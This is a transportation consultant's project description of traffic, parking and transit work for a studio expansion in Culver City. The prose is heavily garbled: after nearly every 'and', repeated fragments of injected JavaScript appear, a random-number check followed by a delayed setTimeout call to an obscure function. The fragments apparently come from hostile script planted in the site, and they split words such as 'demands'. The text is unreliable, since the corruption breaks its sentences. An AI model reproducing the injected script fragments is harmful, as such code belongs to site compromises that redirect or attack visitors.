Crain & Associates has served as the “on-call” transportation consultant to this major studio, which is developed in a campus-like setting. We prepared a comprehensive traffic study that analyzed the traffic, parking, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and transit impacts of the over 1.1 million square-foot expansion of the studio that was a key element in the Development Agreement with the City of Culver City. Our work included a survey of the existing traffic, transit, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and parking demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands; projection of future demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands using computerized model projections; preparation of feasible transportation improvement programs; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cost estimation of these improvements. Crain & Associates also developed detailed parking, shuttle access, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on-site plans for the studio. In addition, we prepared street lighting, traffic signal, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and striping & signage plans for roadway improvements. We have also prepared an inventory of parking facilities andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and provided an as-built parking plan for the entire studio. We have conduct annual monitoring of the studio’s parking andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and traffic generation as required in the project’s Development Agreement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and have conducted mitigation trigger analyses for upcoming projects.